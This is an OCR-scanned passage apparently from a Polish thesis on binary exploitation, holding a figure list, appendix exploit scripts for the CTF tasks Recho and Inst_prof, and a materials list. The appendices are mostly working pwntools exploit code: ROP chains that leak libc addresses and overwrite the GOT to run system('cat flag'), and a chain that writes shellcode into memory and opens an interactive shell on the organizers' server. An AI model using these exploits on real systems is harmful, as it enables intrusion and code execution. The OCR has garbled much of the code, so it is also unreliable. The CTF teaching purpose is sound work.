tur [50]. Biblioteka ta posiada réwniez bindingi do wielu jezykéw programowania.
Jak mozna zauwazy¢ deasemblacja podanego ciagu od pierwszego bajtu daje zu-

pelnie inny kod, niz deasemblacja od drugiego bajtu. . . . . .. ... .. ... ..

8.16 Schemat dziatania techniki ROP oraz utozenie stosu przed wyjsciem z funkcji,

czyli przed wykonaniem instrukcji ret. . . . . ..o Lo Lo

9.1 Podstawowe informacje o programie Recho. . . . . . . . ... .. ... ... ...
9.2 Relokacje programu Recho. Wypisane przy uzyciu programu readelf. .. ...
9.3 Wyswietlanie EP (Entry Point) programu Recho. . . . . .. ... ... ... ...

9.4 Zdekompilowany kod funkcji main programu Recho. Dekompilacje przeprowa-

dzono dodatkiem do IDA Pro — dekompilatorem Hex-Rays Decompiler.. . . . . .

9.5 Zdekompilowany kod funkcji 1nit programu Recho. Dekompilacje przeprowa-

dzono dodatkiem do IDA Pro — dekompilatorem Hex-Rays Decompiler.. . . . . .

9.6 Dzialanie programu Recho zakoriczone Segmentation Fault. Pogrubiona czcionka
zaznaczono przekazywane do programu wejscie. . . . . . . ... ... oL
9.7 Wyszukiwanie gadzetow w programie Recho przy uzyciu ropper. Wyjscie z pro-
gramu zostalo skrocone dla lepszej czytelnosci. . . . . . . ... ...

9.8 Czeéciowy wynik deasemblacji funkcji write oraz read znajdujacych sie w pamieci
procesu programu Recho z biblioteki GNU libc 2.25 (skompilowanej przez GNU
CC 7.1.1 20170508) na systemie Arch Linux. . . .. ... ... ... .......

9.9 Wyciek adreséw funkcji read, printf, alarm oraz atoi z GOT z serwera organi-

ZabtOTOW. . . . . e e

9.10 Wyciekanie adreséw funkcji read, printf, alarm oraz atoi z GOT z serwera or-

GAaMIZAtOrOW. . . . . . . o e e e e e e e e e e e e e e

9.11 Wykonanie skryptu get_ flag.py, ktory wypisuje zawartos¢ pliku flag z serwera

OrganmizatorOW. . . . . . v v v v i e e e e e e e e e e e e e e

9.12 Uruchomienie programu file na aplikacji Inst_prof. . . . ... ... ... ...
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9.14
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9.16
9.17
9.18
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Al
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Zabezpieczenia programu Inst_prof. . . . . . ... ... oo 0oL L. 136
Przyktadowe uruchomienie programu Inst_prof. . . . . . . .. .. ... ... ... 137
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Listing A.1l. ropbase.py — skrypt pomocniczy.

# coding: utfs8

from pwn import args, log, remote, gdb, process, p64 # wykorzystany modut pwntools

def

def

def

get_proc_from_args (binary) :

"""Obstuga argumentdéw przekazanych do skryptu:

./skrypt.py REMOTE - potaczy sie z serwerem organizatordw
./skrypt.py GDB — uruchomi program lokalnie pod debuggerem GDB
./skrypt.py STRACE - uruchomi program lokalnie pod programem strace
./skrypt.py LTRACE - uruchomi program lokalnie pod programem ltrace
./skrypt.py — uruchomi program lokalnie

nwn

if args['REMOTE']:
return remote (host='recho.2017.teamrois.cn', port=9527)
elif args['GDB']:
return gdb.debug(binary, gdbscript=args['GDB'])
elif args['STRACE']:
return process (['strace', '-f', binary])
elif args['LTRACE']:
return process (['ltrace', '-f', binary])
else:

return process (binary)

shutdown_write_end(p) :
"""Dla potaczenia zdalnego zamyka koncdédwke pisania, a dla lokalnego
uruchomienia programu zamyka standardowe wejscie (stdin).
Potrzebne, aby read(...) zwrdécito -1. """
if args['REMOTE']:

log.info("Closed remote write end")

p.sock.shutdown (constants.SHUT_WR)
else:

log.info("Closed process stdin")

p.proc.stdin.close ()

rop2str (xrop) :

"""Funkcja pomocnicza taczaca elementy tancucha ROP.

Gdy element jest liczba, jest konwertowany na tancuch znakdéw little endian.
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def

def

def

def

def

def

Przyklad: p64(0x41424344) —-> 'DCBA\x00\x00\x00\x00"

Wywotanie funkcji mozna zagniezdzac¢, a zatem mozna wykonac¢ na przyktad:
rop2str (rop2str(set_rax(l), set_rdi(l)),

return ''.join(r if isinstance(r, str) else p64(r)

set_rax(rax) :
""rGadzet 0x4006fc: pop rax; ret;
Ustawia rejestr RAX na podana wartosc. """

return rop2str (0x4006fc, rax)

set_rsi_rl5(rsi, rlb):

"""Gadzet 0x4006fc: pop rax; ret;

jakis_gadzet) """

Ustawia rejestry RSI oraz R15 na podane wartosci. """

return rop2str (0x4008al, rsi, rlb5)

set_rdi(rdi) :
""r"Gadzet 0x4006fc: pop rax; ret;
Ustawia rejestr RDI na podana wartosé. """

return rop2str (0x4008a3, rdi)

set_rdx (rdx) :
"""Gadzet 0x4006fc: pop rax; ret;
Ustawia rejestr RDX na podana wartosc. """

return rop2str (0x4006fe, rdx)

mem_add_byte (addr, byte):
"""Gadzet 0x40070d: add byte ptr [rdi], al;

ret;

Stuzy do dodania bajtu pod okreslony adres w pamieci.

nwn

return rop2str(

for r in rop)

set_rax (byte), # ustawia rax (czyli rdéwniez rejestr al)

set_rdi(addr), # ustawia adres komérki do ktdérej dodamy wartoscé z al

0x40070d # wykonuje gadzet

write_stdout (buf, count):

"""Wywoiuje funkcije write(fd, buf, count)

Rejestry musza zostaé ustawione zgodnie z konwencja System V AMD64 ABT,

rdi => fd - tu ustawiony na 1, gdyz chcemy pisaé¢ na stdout
rsi => buf - adres spod ktdrego wypiszemy ~count’ bajtdw
rdx => count - liczba bajtéw do wypisania """

return rop2str(

set_rdi(1l), rdi => fd = 1

set_rdx (count),
0x4005d0
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#
set_rsi_rl15(buf, 0), # rsi => buf, rlb

#

#

adres jmp _write

- dowolna wartos$é¢ (tu 0)

ustawia rdx => count

(w sekcii

.got.plt)
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Listing A.2. leak_ got.py — skrypt stuzacy do wycieku adreséw funkcji GNU libe.

#!/usr/bin/env python
# coding: utfs8
from pwn import args, log, remote, gdb, process, ELF, u64

from ropbase import get_proc_from_args, shutdown_write_end, write_stdout

binary = './Recho'

p = get_proc_from_args (binary) # Obstuga argumentodw
p.recvuntil ('Welcome to Recho server!\n') # Odebranie powitania
payload = '"\x00' * 56 # 56 bajtédw, aby kolejno wstawié adresy gadzetdw

# Dodajemy kolejne gadzety ktdre spowoduja wypisanie adreséw funkciji z GOT
funcs = ('read', 'printf', 'alarm', 'atoi')
for func_addr in (ELF (binary) .got[f] for f in funcs):

payload += write_stdout (func_addr, 8)

# Wysylamy diugosé payload-u - ciag ten zostanie przekazany do funkcji atoi
log.info ("Sending payload of length: %d", len(payload))

p.sendline (str(len(payload)))

p.sendline (payload) # Wysylamy payload, nadpisujac w ten sposdb stos

# Zamykamy stdin/write end, dzieki czemu funkcja read(...) w programie
# zwrdéci wartosé -1, przez co wyjdziemy z petli
# (a w konsekwencji wykona sie instrukcja 'ret', a nastepnie tancuch ROP)

shutdown_write_end (p)

# Dla kazdej funkcji z "~ funcs' pobieramy wyciekniety adres (8 bajtdw)
# 1 wypisujemy go na ekran razem z nazwa funkcji
for func_name in funcs:

str_addr = p.recv(8)

log.info("%10s: 0Ox%x", func_name, u64 (str_addr))

p.close ()
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Listing A.3. get_ flag.py — skrypt, ktory na podstawie wycieknietych adreséw funkcji system oraz

read wywoluje funkcje system("cat flag") co powoduje wypisanie flagi.

1 #!/usr/bin/env python

2 # coding: utf8

3 1mport ctypes

4 from pwn import args, log, ELF

5 from ropbase import get_proc_from_args, shutdown_write_end, mem_add_byte, \

6 set_rdi, set_rax, rop2str

8 Dbinary = './Recho'
9 e = ELF(binary) # Zatadowanie pliku ELF, aby miec¢ dostep do adresdéw GOT/PLT
10

11 if args['REMOTE']:

12 offset_system = 0x0000000000045390 # Wyciekniete adresy z biblioteki libc,
13 offset_read = 0x00000000000£6670 # ktdra jest na serwerze

14 else:

15 libc = ELF('/usr/lib/libc.so.6") # Adresy z lokalnej biblioteki libc

16 offset_system = libc.functions['system'].address

17 offset_read = libc.functions['read'].address

18

19 p = get_proc_from_args (binary) # Obsiuga argumentoéw

20 p.recvuntil ('Welcome to Recho server!\n') # Odebranie powitania

21

22 def byte_distance (from_addr, to_addr, byte_num) :

23 """Oblicza wartosc¢ ktéra trzeba dodac¢ do danego bajtu adresu " from_addr’®

24 otrzymaé¢ dany bajt adresu "to_addr . Bajt jest okreslony przez “byte_num’ .
25 bits_offset = 8 x byte_num

26 val = OxFF << bits_offset

27

28 from_val = (from_addr & val) >> bits_offset

29 to_val = (to_addr & val) >> bits_offset

30

31 if byte_num == 2: # Podczas debugowania eksploitu wyszio, ze ten bajt wymaga
32 to_val -= 1 # zmniejszenia o 1. Prawdopodobnie ma to zwiazek z ASLR.
33

34 return ctypes.c_uint8(to_val - from_val).value

35

36 payload = '\x00' * 56 # 56 bajtdéw, aby kolejno wstawié¢ adresy gadzetdw

37 for i in range (4): # Zmieniamy adres funkcji read w GOT na adres funkcji system
38 payload += mem_add_byte (

39 +e.got ['read']+1,

40 byte_distance (from_addr=offset_read, to_addr=offset_system, byte_num=i)
41 )

42

43 # Wpisujemy ciag "cat " (bez bajtu zerowego) przed ciag "flag\x00",
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# ktéry jest w sekcji .data
str_addr = 0x601054

for i, char in enumerate ("cat

payload += mem_add_byte (str_addr+i,

"):

# Gadzety ktére skocza do _read z

ord (char))

.plt.got, ktdére skoczy do adresu nadpisanego

# w GOT - czyli wywola system(str_addr)

payload += rop2str(set_rdi(str_addr), set_rax(0)

, e.plt['read'])

# Wysytamy diugosé payload-u - ciag ten zostanie przekazany do funkcji atoi

log.info ("Sending payload of length: %d", len(payload))

p.sendline (str (len(payload))
p.sendline (payload)

shutdown_write_end (p)

log.info ("Flag file content:
p.close ()

)

# Wysytamy payload,

nadpisujac w ten sposdb stos

# Zamykamy stdin/write end, aby read(..

%s

™
’

p.recvall())
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Listing B.1. Kod programu Inst_ prof zdekompilowany programem IDA Pro Hex-Rays.

int _ _cdecl _ _noreturn main(int argc, const char xxargv, const char xxenvp)

if ( write(l, "initializing prof...",

Ox14ulLL) == 20 ) {

sleep (bu); // usypia program na 5 sekund

alarm(30u); // wygeneruje sygna? SIGALRM po 30 sekundach

if ( write(l, "ready\n", 6ullL) == 6

)

while ( 1 ) // petla nieskonczona

do_test ();

// konczy dziatanie programu zwracajac 0

// wykonujgac ,,exit (0)'' zamiast ,,return 0''

// nie wykona sie instrukcja ,,ret'’,

exit (0);

int do_test () {

ktora pobiera adres powrotu ze stosu

void *mem; // rbx@l

char b; // al@l

unsigned __int64 time_start; // rl2@1

unsigned __int64 time_end; // [sp+8h] [bp—-18h]@1

mem = alloc_page(); // alokuje strone pamieci RW o rozmiarze 4kB

// kopiowanie do bufora/pamieci 'mem’

szablonu kodu

// (gdyz template zawiera kod maszynowy, jak zostalo pokazane nizej)

// ponizsze linie sg odpowiednikiem wykonania funkcji:

// memcpy (mem, template, 15);
* (_QWORD x)mem = * (_QWORD «)template;

* ((_DWORD x)mem + 2) = x((_DWORD x)template + 2);

b = »((_BYTE «x)template + 14);

* ((_WORD x)mem + 6) = = ((_WORD *)template + 6);

*((_BYTE *)mem + 14) = b;

// czyta 4B z stdin 1 wpisuje je w Srodek skopiowanego kodu

{



36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

s

78

79

80

81

82

read_inst ((char x)mem + 5);
// zmienia atrybuty strony pamieci na RX (odczyt oraz wykonywanie)

make_page_executable (mem) ;

// wykonuje "funkcje" znajdujaca sie w pamieci ‘mem’

// oraz mierzy jej czas dziatania (poprzez instrukcje rtdsc)

time_start = _ _rdtsc();
((void (_ fastcall +) (void +*))mem) (mem) ;
time_end = __ rdtsc() - time_start;

// wyplisuje zmierzony czas, konczy program jesli wypisanie sie nie powiodZo

if ( write(l, &time_end, 8ulLL) != 8 )
exit (0);
// zwalnia strone pamieci

return free_page (mem) ;

void __ fastcall read_inst (char xbuf) {
read_n (buf, 4LL);

// Czyta "n’ bajtéw z stdin (standardowe wejscia) do bufora “buf’
void _ fastcall read_n(char xbuf, _ int64 n) {
char *ptr = buf; // rbx@I

if (n)
do
* (++ptr — 1) = read_byte();
while ( ptr != &buf[n] );

// Czyta jeden bajt z stdin 1 zwraca go
__int64 read_byte() {
unsigned __ int8 buf; // [sp+Fh] [bp-1h]@1

buf = 0;
if ( read(0, &buf, 1luLL) != 1)
exit (0);

return buf;

// Alokuje strone pamieci RW o rozmiarze 4kB, wykorzystujac funkcje mmap:

// void *mmap (void #*addr, size_t len, int prot, int flags, int fildes, off_t off);

// Argumenty:

// addr - rézny od 0 sugeruje adres pod ktérym chcielibysmy zaalokowad strone,
// len - rozmiar strony,
// prot - atrybuty/uprawnienia strony: 3 = PROT_READ | PROT_WRITE, czyli RW
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Listing B.2. Modyfikacja eksploitu dzieki ktérej program obliczy adres alokowanej strony, skoczy do

/7
/7
/7
/7
/7

flags - flagi: 34 = MAP_PRIVATE | MAP_ANONYMOUS - strona prywatna

(nie wspdidzielona z innymi procesami) oraz anonimowa

fildes - chcac zmapowac plik do pamieci ustawiamy na deskryptor plikowy,

w innym wypadku -1

off - przesuniecie wzgledem poczatku mapowanego pliku

void *alloc_page () {
return mmap (0LL, Ox1000uLL, 3, 34, -1, OLL);

// Zmienia uprawnienia/atrybuty strony pamieci na RX wykorzystujac funkcje mprotect:
// int mprotect (void #*addr, size_t len, int prot);

// Gdzie:

// addr - adres strony pamieci,

// len - rozmiar strony pamieci, ktdérej zmienimy uprawnienia,

// prot - flaga uprawniern: 5 = PROT_READ | PROT_EXEC

int _ fastcall make_page_executable (void *ptr) {

return mprotect (ptr, 0x1000uLL, 5);

// Zwalnia strone pamieci o danym rozmiarze wykorzystujac funkcje munmap:

int __ fastcall free_page (void xptr) {

return munmap (ptr, 0x1000ulLL);

alloc_page, a nastepnie do poczatku funkcji main.

10

11

12

13

14

15

16

17

18

19

20

instructions = [

# R14 = RBP-72 = Oxaa3 - Zatadowanie wskaZnika na Oxaa3 do

'lea rl4, [rbp-721",

# Kopiuje wartosé¢ pod wskaZnikiem (Oxaa3)
'mov rl5, [rl4]"',

'mov rl4, rl5', # R15 R14 = Oxaa3
'lea rl5, [rl4-11le6]"', R15 = R14-116; R15
R14 = R15; R14
R15 = R14-63, RI15

#
'mov rl4, rl5', #
'lea rl5, [rl4-63]1', #
'mov [rl3], rl5', #

Skopiowanie 0x9f0

# Ponizsza linia Jjest dla testowania powyzszego kodu,

do

(adres alloc_page)

R15

Oxaa3 -
Oxa2f
Oxa2f -

116

63

R14

Oxa2f

0x9f£0

# Zmienia ona wskaznik stosu, przez co wychodzac z funkcji mem

# procesor rozpocznie wykonywanie tancucha ROP

#'mov rsp, rl3'

# Ponizsze dwie linie kopiuja adres mem do R15

'lea rl4, [rbp-64]', # Zatadowanie wskazZnika na wskaznik na mem do R14

'mov rl5, [rl4]', # Dereferencja - R15
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45

46

47

10

11

12

13

14

15

16

# Odjecie 128%32=4096 (0x1000) od R15
# Aby wskazywal na strone pamieci ktdéra zostanie zaalokowana,
# do ktdérej skopiujemy shellcode
instructions += [
'mov rl4, rlb5', # R14
'lea rl5, [rl14-128]', # R15

R15
R14-128

] * 32 # powieli powyzsze dwie operacje 32 razy

# Kopiujemy adres main ze stosu jako kolejny gadzet tancucha ROP
# A zatem umiescimy go na adresie [R13+8]
instructions += [

'mov rld, [rbp+56]"', # Kopiuje adres main ze stosu do R14

'mov [rl3+8], rl4’', # Umieszcza adres main jako kolejny gadzet

Po powyzszych operacjach w R13 jest adres stosu,
Gdzie kolejno mamy nastepujace gadzety:
+0: skok do alloc_page

+8: skok na poczatek funkcji main

= H= FH= H= FH

# Wykonujemy instrukcje, ktdéra rozpocznie atak ROP

instructions += ['mov rsp, rl3']

for instr in instructions:

send_instr (instr)

Listing B.3. Pelny skrypt eksploitujacy program inst_ prof.

#!/usr/bin/env python
# coding: utfs8

from pwn import x # import modulu pwntools

binary = './inst_prof'
host, port = 'inst-prof.ctfcompetition.com:1337"'.split(':")
port = int (port)

e = ELF (binary) # Zadujemy plik ELF zeby pograc¢ jego metadane

context.os = 'linux' # Ustawiamy kontekst: system oraz architekture

context.arch = e.arch # nie musimy podawac¢ tych argumentdédw do funkcji asm(..

# Obstuga argumentdw programu
if args['REMOTE']:
p = remote (host, port)

elif args['GDB']:

gdbscript = args['GDB'] if args['GDB'] != 'True' else 'break x&do_test+86'
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18 p = gdb.debug(binary, gdbscript=gdbscript)
19 else:
20 p = process (binary)

21
22

23 def send_instr (instrs):

24 payload = asm(instrs)

25

26 # Upewniamy sie, czy instrukcje nie przekraczaja rozmiaru wejscia (4B)
27 assert len(payload) <= 4, "Payload too long: %s" % instr

28

29 while len(payload) < 4: # Dodaje pozostate bajty instrukcjami "ret’
30 payload += asm('ret') # (ktdére maja doktadnie 1 baijt)

31

32 p.send(payload)

33

34 # Ponizsze dwie linie moga zostad uzyte do wypisania licznika

35 # wypisywanego przez program, a co za tym idzie, do wycieku pamieci.
36 # Nie zostaly one wykorzystane w finalnym skrypcie.

37 #frtdsc = u64d (p.recv(8))

38 #print ('Timer value: Ox%$x\tfor\t%s' % (rtdsc, instrs))

39

40 # Odbieramy od programu ciag wejsciowy

41 info('Receiving HELLO: %s' % p.recvuntil('initializing prof...ready\n'))
42

43 instructions = [

44 # R14 = RBP-72 = Oxaa3 - Zaladowanie wskaZnika na Oxaa3 do R14

45 'lea rl4, [rbp-72]",

46 # Kopiuje wartos$é¢ pod wskaznikiem (Oxaa3) do R15

47 'mov rl5, [rl4]"',

48 'mov rl4, rl5', # R15 = R14 = 0Oxaa3

49 'lea rl5, [rl4-116]', # R15 = R14-116; R15 = 0Oxaal3 - 116 = Oxa2f

50 'mov rl4, rl5', # R14 = R15; R14 = Oxa2f

51 'lea rl5, [rl4-63]', # R15 = R14-63, R15 = 0xa2f - 63 = 0x9f0

52 'mov [rl13], rl5', # Skopiowanie 0x9f0 (adres alloc_page) na stos
53

54 # Ponizsza linia jest dla testowania powyzszego kodu,

55 # Zmienia ona wskaznik stosu, przez co wychodzac z funkcji mem

56 # procesor rozpocznie wykonywanie tancucha ROP

57 #'mov rsp, rl3'

58

59 # Ponizsze dwie linie kopiuja adres mem do R15

60 'lea rl4, [rbp-64]", # Zaladowanie wskazZnika na wskaznik na mem do R14
61 'mov rl5, [rl14]"', # Dereferencja — R15 = &mem

62 ]

63

64 # Odjecie 128%32=4096 (0x1000) od R15
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# Aby wskazywal na strone pamieci ktdéra zostanie zaalokowana,
# do ktdérej skopiujemy shellcode
instructions += [

'mov rl4, rl5', # R14 = R15

'lea rl1l5, [rl4-128]", # R15 = R14-128

] * 32 # powieli powyzsze dwie operacje 32 razy

# Kopiujemy adres main ze stosu jako kolejny gadzet tancucha ROP
# A zatem umiesScimy go na adresie [R13+8]
instructions += [

'mov rld, [rbp+56]1"', # Kopiuje adres main ze stosu do R14

'mov [rl3+8], rl4', # Umieszcza adres main jako kolejny gadzet

Po powyzszych operacjach w R13 jest adres stosu,
Gdzie kolejno mamy nastepujace gadzety:
+0: skok do alloc_page

+8: skok na poczatek funkcji main

H = H FH= H

# Wykonujemy instrukcje, ktdéra rozpocznie atak ROP

instructions += ['mov rsp, rl3']

for instr in instructions:

send_instr (instr)

# Odbieramy od programu tekst powitalny z drugiego wywolania main
txt = 'initializing prof...ready\n'
msg = p.recvuntil (txt) [-len (txt) :]

o

info ('Receiving second HELLO: %s' % msqg)

# Generujemy shellcode
payload = shellcraft.amd64.sh()

shellcode_bytes = map(ord, asm(payload, os='linux', arch='amdé64d'))

# Tworzymy kopie adresu nowo zaalokowanej pamieci,
# gdyz przyda sie on w kolejnych krokach

send_instr ('mov rl4, rl15")

# Wysytamy kolejne bajty shellcode'u i1 zapisujemy je
# do kolejnych komdérek pamieci nowo zaalokowanej pamieci
for byte in shellcode_bytes:

# Wstawiamy bajt do komdérki pamieci

send_instr ('mov BYTE PTR [rl5], %d' % byte)

# Inkrementujemy wskaznik na kolejna komdérke pamieci

send_instr ('inc rl5")
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# Rejestr R13 wskazuje na stos.

# Ponizej umieszczamy kolejne gadzety tancucha na stos:

# [rl3 +8] - adres gadzetu ‘pop rdi; pop’

# [rl3+16] - adres pamieci z shellcode - zostanie on umieszczony w RDI
# [r1l3+24] - adres funkc]ji make_page_executable

# [rl3+32] - adres pamieci z shellcode - aby program do niego skoczyi

# We wczes$niejszej czesé skryptu kopiuje adres pamieci z shellcode do R14
# Teraz zapisujemy go na stos
send_instr ('mov [r13+16], rl4d'")

send_instr ('mov [r13+32], rl4d'")

# Umieszczanie adresu gadzetu “pop rdi; pop na stos — do [R13+8]

# Mozna do tego skorzystad¢ z adresu 0xbl8 znajdujacego sie na stosie:
#

# rsp 0x7f£d907dbld0 -> 0x55cb935cfbl8 (do_test+88) <- rdtsc

#

send_instr ('mov rl4, [rspl') # R14 = &do_test+88 = 0xbls8

# 0xbc3-0xbl8 = 171 - nalezy zwiekszy¢ R14 o 171

send_instr ('lea rl1l5, [rl1l4+127]") # R15 = 0xbl8 + 127 = 0xb97

send_instr ('mov rl4, rl15") # R14 = R15 = 0xb97

send_instr ('lea rl5, [rl4+441") # R15 = 0xb97 + 44 = Oxbc3 (adres gadzetu)
#

send_instr ('mov [rl13+8], rl5") zapis adresu gadzetu na stosie

Umieszczanie adresu make_page_executable (0xa20) na stos - do [R13+24]

Mozna do tego skorzystac¢ z adresu Oxaa3 znajdujacego sie na stosie:

#
#
#
# 06:0030| 0x7fff73937360 —-> 0x55573d395aa3 (read_n+35) <- mov byte ptr [rbx-1],
# 0£:0078| rbp O0x7£££739373a8

#

#

Ktéry znajduje sie 72 bajty przed RBP.

send_instr('mov rl4, [rbp-72]") # R14 = [RBP-72] = aa3

send_instr ('lea rl1l5, [r14-127]") # R15 = 0Oxaal3 - 127 = 0xa24

send_instr ('mov rl4, rl15") # R14 = R15 = 0Oxa24

send_instr('lea rl1l5, [rl4-41") # R15 = 0xa24 - 4 = 0xa20

send_instr ('mov [rl13+24], rl5") # zapis adresu make_page_executable na stosie
# Uruchamia tancuch ROP

send_instr('lea rsp, [rl3+8]")

p.recv() # pobranie wynikdéw pomiardw, zeby nie byto ,,Smieci'' na ekranie

p.interactive ()
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C. Materialy

Plik pracy w formacie PDF zawiera w sobie zalacznik — plik ZIP. Archiwum to przechowuje

dodatkowe materialty, ktére zostaly réwniez umieszczone na ptycie CD.

Lista materialow

o Katalog examples zawiera katalogi z przykladami z czesci teoretycznej pracy: listingi oraz

pliki makefile stuzace do ich kompilacji. W wiekszosci przypadkow kompilacja oraz urucho-

mienie przykladu polega na wykonaniu programu make. Niektére z przykladéw wymagaja

wykonania kilku krokéw zawartych w odpowiednich sekcjach pracy. Sa to:

ip_ fetch_rip_rela_addressing — adresacja wzgledem wskaZnika instrukeji (sek-
cja 3.9),
entry__point__cpp — punkt startowy programu napisanego w jezyku C++ (sekcja 4.3),

partial _relro — brak oraz czeSciowe zabezpieczenie RELRO (sekcja 5.3),

full_relro — pelne zabezpieczenie RELRO (sekcja 5.3),

aslr — losowos¢ ukladu przestrzeni adresowej dla réznych ustawierit ASLR (sekcja 5.4),
pie — pelna randomizacja przestrzeni adresowej (sekcja 5.5),

buffer__overflow — przepelnienie bufora na stosie (sekcja 8.1.1),

buffer _overflow change_ip — przepelnienie bufora na stosie w celu zmiany wskaznika
instrukcji (sekcja 8.1.2),

heap__buffer _overflow — przepelnienie bufora na stercie (sekcja 8.1.3),
compiler__optimization__remove__memset — optymalizacje kompilatora usuwajace ze-
rowanie pamieci przez funkcje memset i ochrona przed tym (sekcja 6.4),
compiler_bug — blad w kompilatorze GCC (sekcja 6.5),

launch__shellcode — uruchomienie shellcode-u (sekcja 8.2),

format__string — bledy zwiazane z taficuchem formtujacym (sekcja 8.4),

sanitizers — wykorzystanie AddressSanitizera, MemorySanitizera oraz ThreadSaniti-
zera (sekcje 7.1.1, 7.1.3 oraz 7.1.2),

fuzzing — wykorzystanie fuzzera AFL (sekcja 7.2.1),

mmap__check — testowanie zaleznosci pomiedzy kolejnymi wywolaniami funkcji mmap
(sekcja 9.2.10).

o Katalog ctf tasks zawierajacy skrypty oraz pliki binarne do zadan przeanalizowanych

w sekcjach 9.2, 9.1 — Inst_ prof oraz Recho.
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